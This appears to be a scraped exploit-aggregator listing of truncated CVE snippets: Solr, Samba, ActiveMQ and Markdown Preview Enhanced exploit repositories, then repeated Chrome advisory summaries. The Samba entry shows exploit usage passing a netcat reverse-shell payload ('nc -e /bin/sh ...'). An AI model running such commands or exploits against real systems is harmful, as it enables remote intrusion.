CVE-2019-12409

CVE-2019-12409 Apache Solr RCE ENABLEREMOTEJMXOPTS="true" root@kitploit: root@kali:/opt/solr-8.1.1/bin cat solr.in.sh |grep true Set to true to activate the JMX RMI connector to allow remote JMX client applications ENABLEREMOTEJMXOPTS="true" SOLROPTS="$SOLROPTS -Dsolr.clustering.enabled=true"...

CVE-2007-2447-in-Python

CVE-2007-2447 - Python 实现 描述 针对 Samba 3.0.20 IP - 远程机器的 IP 地址。 PORT - （可选）SMB 运行的端口。 PAYLOAD - 要在远程机器上执行的有效载荷，例如反弹 shell。 示例： python3 smbExploit.py 192.168.1.2 139 'nc -e /bin/sh 192.168.1.1 4444' python3 smbExploit.py 192.168.1.2 'nc -e /bin/sh 192.168.1.1 4444' 参考资料 CVE-2007-2447：远程命令注入漏洞 Samba...

CVE-2022-45025

CVE-2022-45025 通过PDF导入实现的命令注入漏洞，影响Markdown Preview Enhanced（VSCode，Atom） 描述 Mume Markdown 工具库由于使用带有 shell: true 选项的 spawn 命令，存在命令注入漏洞。攻击者可通过诱骗受害者使用 VSCode 或 Atom 打开特制的 Markdown 文件，实现任意代码执行。该库为 VSCode 和 Atom 上的 Markdown Preview Enhanced 插件提供支持。 漏洞代码片段： root@kitploit: const task = spawn "pdf2svg",...

CVE-2025-4389

CVE-2025-4389 익스플로잇 세부 정보 발행일 : 2025년 5월 16일 업데이트일 : 2025년 5월 17일 심각도 : 심각 CVSS 점수: 9.8 CWE : CWE-434: CWE-434 위험한 유형의 파일 무제한 업로드 영향 받는 버전 : 버전 n/a부터 2.6.8.1까지의 모든 버전 연구자 : https://www.wordfence.com/threat-intel/vulnerabilities/researchers/friderika-baranyai CVSS 벡터 CVSS 버전 : 9.8 벡터 문자열 :...

CVE-2023-46604-RCE-Reverse-Shell-Apache-ActiveMQ

CVE-2023-46604-RCE-Reverse-Shell-Apache-ActiveMQ 이 익스플로잇은 https://github.com/X1cT34m https://github.com/X1r0z/ActiveMQ-RCE에서 제공하는 기본 작업을 기반으로 합니다. 우리는 Metasploit Framework https://github.com/rapid7/metasploit-framework를 활용하여 리버스 셸을 달성하기 위해 기술을 더욱 발전시켰습니다. 사용법: 중요: XML 파일의 IP 주소11행의 0.0.0.0를 페이로드가...

CVE-2026-84350

Use after free in TabStrip in Google Chrome prior to 152.0.7977.75 allowed a remote attacker leveraging social engineering to execute arbitrary code outside the sandbox via UI Interaction. Chromium security severity: Low...

CVE-2026-84350

CVE-2026-84350 is a use-after-free in the TabStrip component of Google Chrome prior to 152.0.7977.75 . A remote attacker leveraging social engineering can trigger the flaw via UI interaction to execute arbitrary code outside the browser sandbox. Chromium rates the severity as Low , while the assi...

CVE-2026-84350

Use after free in TabStrip in Google Chrome prior to 152.0.7977.75 allowed a remote attacker leveraging social engineering to execute arbitrary code outside the sandbox via UI Interaction. Chromium security severity: Low...

CVE-2026-84335

Incorrect authorization in TabStrip in Google Chrome prior to 152.0.7977.75 allowed a remote attacker who had compromised the renderer process and leveraged social engineering to potentially execute arbitrary code outside the sandbox via a crafted HTML page. Chromium security severity: Medium...

CVE-2026-84334

Incorrect authorization in Chromoting in Google Chrome on on Windows prior to 152.0.7977.75 allowed a local attacker to execute arbitrary code outside the sandbox via a local program. Chromium security severity: Medium...

CVE-2026-84334

CVE-2026-84334 is an incorrect authorization vulnerability in the Chromoting component of Google Chrome on Windows , prior to version 152.0.7977.75 . A local attacker can exploit it to execute arbitrary code outside the Chrome sandbox via a local program. The flaw was reported by Google on 2026-0...

CVE-2026-84335

CVE-2026-84335 is an incorrect authorization vulnerability in the TabStrip component of Google Chrome prior to 152.0.7977.75 . A remote attacker who had already compromised the renderer process and leveraged social engineering could potentially execute arbitrary code outside the sandbox via a cra...

CVE-2026-84334

Incorrect authorization in Chromoting in Google Chrome on on Windows prior to 152.0.7977.75 allowed a local attacker to execute arbitrary code outside the sandbox via a local program. Chromium security severity: Medium...

CVE-2026-84333

Use after free in Dawn in Google Chrome on on Android prior to 152.0.7977.75 allowed a remote attacker to execute arbitrary code outside the sandbox via a crafted HTML page. Chromium security severity: High...

CVE-2026-84347

Use after free in WebRTC in Google Chrome prior to 152.0.7977.75 allowed a remote attacker to execute arbitrary code inside the sandbox via a crafted HTML page. Chromium security severity: Medium...

CVE-2026-84351

CVE-2026-84351 is a buffer overflow in the GPU component of Google Chrome on Windows prior to 152.0.7977.75 . A remote attacker who had compromised the renderer process could exploit it via a crafted HTML page to execute arbitrary code outside the sandbox . The vulnerability was rated High by Chr...

CVE-2026-84326

Uninitialized resource in V8 in Google Chrome prior to 152.0.7977.75 allowed a remote attacker to execute arbitrary code inside the sandbox via a crafted HTML page. Chromium security severity: High...

CVE-2026-84326

CVE-2026-84326 is a High-severity uninitialized resource vulnerability in the V8 JavaScript engine of Google Chrome, fixed in version 152.0.7977.75 . A remote attacker can execute arbitrary code inside the sandbox by convincing a user to visit a crafted HTML page. The CVSS 3.1 score is 8.8 (AV:N/...

CVE-2026-84333

CVE-2026-84333 is a use-after-free vulnerability in Dawn , a graphics abstraction component of Google Chrome , affecting versions prior to 152.0.7977.75 on Android (and 152.0.7977.76 on Windows/Mac). A remote attacker can execute arbitrary code outside the sandbox by serving a crafted HTML page, ...

CVE-2026-84333

Use after free in Dawn in Google Chrome on on Android prior to 152.0.7977.75 allowed a remote attacker to execute arbitrary code outside the sandbox via a crafted HTML page. Chromium security severity: High...